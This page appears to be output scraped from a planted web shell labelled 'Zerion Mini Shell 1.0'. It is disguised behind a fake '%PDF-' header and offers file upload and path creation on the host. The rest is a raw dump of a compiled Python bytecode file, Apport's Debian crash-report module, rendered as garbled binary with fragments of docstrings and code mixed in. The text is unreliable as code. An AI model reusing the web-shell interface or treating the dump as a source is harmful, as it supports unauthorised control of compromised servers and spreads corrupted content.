%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/apport/crashdb_impl/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/apport/crashdb_impl/__pycache__/debian.cpython-312.pyc

�

�!f��f�dZddlZddlZddlZddlZGd�dejj�Zy)z Debian crash database interface.�Nc�*�eZdZdZd�Zd�Zdd�Zd�Zy)�
CrashDatabaseziDebian crash database.

    This is a Apport CrashDB implementation for interacting with Debian BTS.
    c��tjjj|||�||_|jjd�sd|jd<|jjd�sd|jd<yy)z�Initialize crash database connection.

        Debian implementation is pretty basic as most of its bug management
        processes revolve around the email interface
        �smtphostzreportbug.debian.org�	recipientzsubmit@bugs.debian.orgN)�apport�crashdbr�__init__�options�get)�self�	auth_filers   �</usr/lib/python3/dist-packages/apport/crashdb_impl/debian.pyr
zCrashDatabase.__init__sl��	���$�$�-�-�d�I�w�G�����|�|���
�+�'=�D�L�L��$��|�|����,�(@�D�L�L��%�-�c���|jjd�s	d|vrd|d<d|vr|j�sd|d<tjj
j
||�S)zqCheck if this report can be uploaded to this database.
        Checks for the proper settings of apport.
        �sender�UnreportableReasonz<Please configure sender settings in /etc/apport/crashdb.conf�
Stacktracez>Incomplete backtrace. Please install the debug symbol packages)rr�has_useful_stacktracerr	r�accepts)r
�reports  rrzCrashDatabase.accepts+sn���|�|����)�.B�&�.P�N�
�'�(�
�6�!�&�*F�*F�*H�P�
�'�(��~�~�+�+�3�3�D�&�A�ArNc���|j|�sJ�	|djd�\}}t	j
�5}|jjd|�d�jd��|jjd|�d�jd��|jjd	jd��	|d
=|j|�|jjd�tjjj|jj�jd��}ddd�|d
d<|j d|d<|j d|d<|j#d|j d�|j#dd|dj%����t'j(|j d�}|j+|j d|j d|j-�jd��|j/�y#ttf$rYywxYw#t$rY���wxYw#1swY��xYw)z�Upload given problem report return a handle for it.

        In Debian, we use BTS, which is heavily email oriented. This method
        crafts the bug into an email report understood by Debian BTS.
        �Package� Fz	Package: �
zUTF-8z	Version: z


z=============================

�CoreDumprN�Title�Subjectr�Fromr�TozX-Debbugs-CC�Usertagzapport-�ProblemTyperT)r�split�KeyError�
ValueError�tempfile�NamedTemporaryFile�file�write�encode�seek�email�mime�text�MIMEText�read�decoder�
add_header�lower�smtplib�SMTP�sendmail�	as_string�quit)	r
r�progress_callback�user_message_callback�
buggy_package�
buggy_version�temp�msg�smtps	         r�uploadzCrashDatabase.upload<s���|�|�F�#�#�#�	�-3�I�->�-D�-D�S�-I�*�]�M��
(�
(�
*�	M�d��I�I�O�O�i�
��b�9�@�@��I�J��I�I�O�O�i�
��f�=�D�D�W�M�N��I�I�O�O�@�H�H��Q�R�
��:�&�

�L�L����I�I�N�N�1���*�*�/�/�*�*�4�9�9�>�>�+;�+B�+B�7�+K�L�C�+	M�. ����I���l�l�8�,��F���L�L��-��D�	�	���~�t�|�|�H�'=�>����y�G�F�=�,A�,G�,G�,I�+J�"K�L��|�|�D�L�L��4�5���
�
��L�L��"��L�L��%��M�M�O�"�"�7�+�	
�
	
�	�	����S�*�%�	��	�� �
��
��	M�	M�sC�H=�BI"�I�A<I"�=I�I�	I�I"�I�I"�"I,c��y)a8Return an URL that should be opened after report has been uploaded
        and upload() returned handle.

        Should return None if no URL should be opened (anonymous filing without
        user comments); in that case this function should do whichever
        interactive steps it wants to perform.
        N�)r
r�handles   r�get_comment_urlzCrashDatabase.get_comment_urlts��r)NN)�__name__�
__module__�__qualname__�__doc__r
rr@rDrBrrrrs���
A�B�"6�prr)	rH�email.mime.textr,r4r&�apport.crashdbrr	rrBrr�<module>rKs.��&�����i�F�N�N�0�0�ir

Zerion Mini Shell 1.0